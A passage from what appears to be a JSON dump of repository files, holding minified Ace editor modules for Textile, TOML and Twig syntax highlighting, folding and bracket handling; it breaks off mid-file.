    "content": "ace.define(\"ace/mode/textile_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:function(e){return e.charAt(0)==\"h\"?\"markup.heading.\"+e.charAt(1):\"markup.heading\"},regex:\"h1|h2|h3|h4|h5|h6|bq|p|bc|pre\",next:\"blocktag\"},{token:\"keyword\",regex:\"[\\\\*]+|[#]+\"},{token:\"text\",regex:\".+\"}],blocktag:[{token:\"keyword\",regex:\"\\\\. \",next:\"start\"},{token:\"keyword\",regex:\"\\\\(\",next:\"blocktagproperties\"}],blocktagproperties:[{token:\"keyword\",regex:\"\\\\)\",next:\"blocktag\"},{token:\"string\",regex:\"[a-zA-Z0-9\\\\-_]+\"},{token:\"keyword\",regex:\"#\"}]}};r.inherits(s,i),t.TextileHighlightRules=s}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/textile\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/textile_highlight_rules\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./textile_highlight_rules\").TextileHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(u,i),function(){this.type=\"text\",this.getNextLineIndent=function(e,t,n){return e==\"intag\"?n:\"\"},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/textile\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-toml.js",
    "content": "ace.define(\"ace/mode/toml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=this.createKeywordMapper({\"constant.language.boolean\":\"true|false\"},\"identifier\"),t=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment.toml\",regex:/#.*$/},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:[\"variable.keygroup.toml\"],regex:\"(?:^\\\\s*)(\\\\[\\\\[([^\\\\]]+)\\\\]\\\\])\"},{token:[\"variable.keygroup.toml\"],regex:\"(?:^\\\\s*)(\\\\[([^\\\\]]+)\\\\])\"},{token:e,regex:t},{token:\"support.date.toml\",regex:\"\\\\d{4}-\\\\d{2}-\\\\d{2}(T)\\\\d{2}:\\\\d{2}:\\\\d{2}(Z)\"},{token:\"constant.numeric.toml\",regex:\"-?\\\\d+(\\\\.?\\\\d+)?\"}],qqstring:[{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"constant.language.escape\",regex:'\\\\\\\\[0tnr\"\\\\\\\\]'},{token:\"string\",regex:'\"|$',next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(s,i),t.TomlHighlightRules=s}),ace.define(\"ace/mode/folding/ini\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(){};r.inherits(o,s),function(){this.foldingStartMarker=/^\\s*\\[([^\\])]*)]\\s*(?:$|[;#])/,this.getFoldWidgetRange=function(e,t,n){var r=this.foldingStartMarker,s=e.getLine(n),o=s.match(r);if(!o)return;var u=o[1]+\".\",a=s.length,f=e.getLength(),l=n,c=n;while(++n<f){s=e.getLine(n);if(/^\\s*$/.test(s))continue;o=s.match(r);if(o&&o[1].lastIndexOf(u,0)!==0)break;c=n}if(c>l){var h=e.getLine(c).length;return new i(l,a,c,h)}}}.call(o.prototype)}),ace.define(\"ace/mode/toml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/toml_highlight_rules\",\"ace/mode/folding/ini\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./toml_highlight_rules\").TomlHighlightRules,o=e(\"./folding/ini\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/toml\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-twig.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new 